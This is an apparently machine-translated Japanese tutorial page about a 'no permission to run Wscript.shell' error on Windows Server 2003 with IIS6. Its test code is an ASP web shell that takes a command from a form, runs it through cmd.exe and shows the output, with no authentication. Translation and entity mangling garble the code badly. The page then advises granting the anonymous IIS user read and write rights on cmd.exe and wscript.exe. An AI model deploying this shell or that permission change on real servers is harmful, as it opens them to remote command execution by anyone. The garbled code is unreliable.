Windows system >> Windowsの知識 >  >> コンピュータソフトウェアのチュートリアル >> サーバー技術 >> サーバーについて >> Wscript.shellを実行する権限がない解決策

Wscript.shellを実行する権限がない解決策

  

この問題は、サーバー上でクライアントのコマンドラインプログラムを使ったときに、今日起こりました。後で、いくつかのテストの後、この問題は解決されました。

テストプラットフォーム:windows server 2003 sp2 + iis6

テストコードは次のとおりです。

& lt; title& gt; ASPシェル< /title& gt;& lt;%@ Language = VBScript CodePage =& " 936"%& gt;& lt;%Dim oScript Dim oScriptNet Dim oFileSys、oFile Dim szCMD、szTempFileエラー時に次へ
< oScript = Server.CreateObjectを設定(" WSCRIPT.SHELL& ")設定oFileSys = Server.CreateObject(" Scripting.FileSystemObject")

szCMD = Request.Form( < .CMD")(szCMD<>&")であれば、szTempFile = Server.Mappath(oFileSys.GetTempName())のようにoScript.Run(& 2)を呼び出します。 Quot; cmd.exe /c& szCMD>> szTempFile、0、True)oFile = oFileSys.OpenTextFile(szTempFile)と設定します。 、1、False、0)%& gt;& lt; HTML>& lt; BODY>& lt; FORMアクション=& lt;%= Request.ServerVariablesの場合は終了(&“ URL”")%& gt;&; "method =" POST">< input type =テキスト名=" .CMD" size = 45 value ="<% = szCMD%& gt;<><入力タイプ=送信値=&"コマンド実行"& lt; /FORM>&<> PRE& gt;& lt;%If(IsObject(oFile))その後エラー時再開次へResponse.Write Server.HTMLEncode(oFile.ReadAll)oFile.Close oFileSys.DeleteFile(szTempFile、True)を終了します。; gt;& lt; /BODY& gt;& lt; /HTML& gt;

システムルートディレクトリのiuser_xxxコンピュータ名に対する現在のフォルダに対するcmd.exeおよびwscript.exeのアクセス許可を付与します。読み取りおよび書き込み権限次にIISを再起動します。

Copyright © Windowsの知識 All Rights Reserved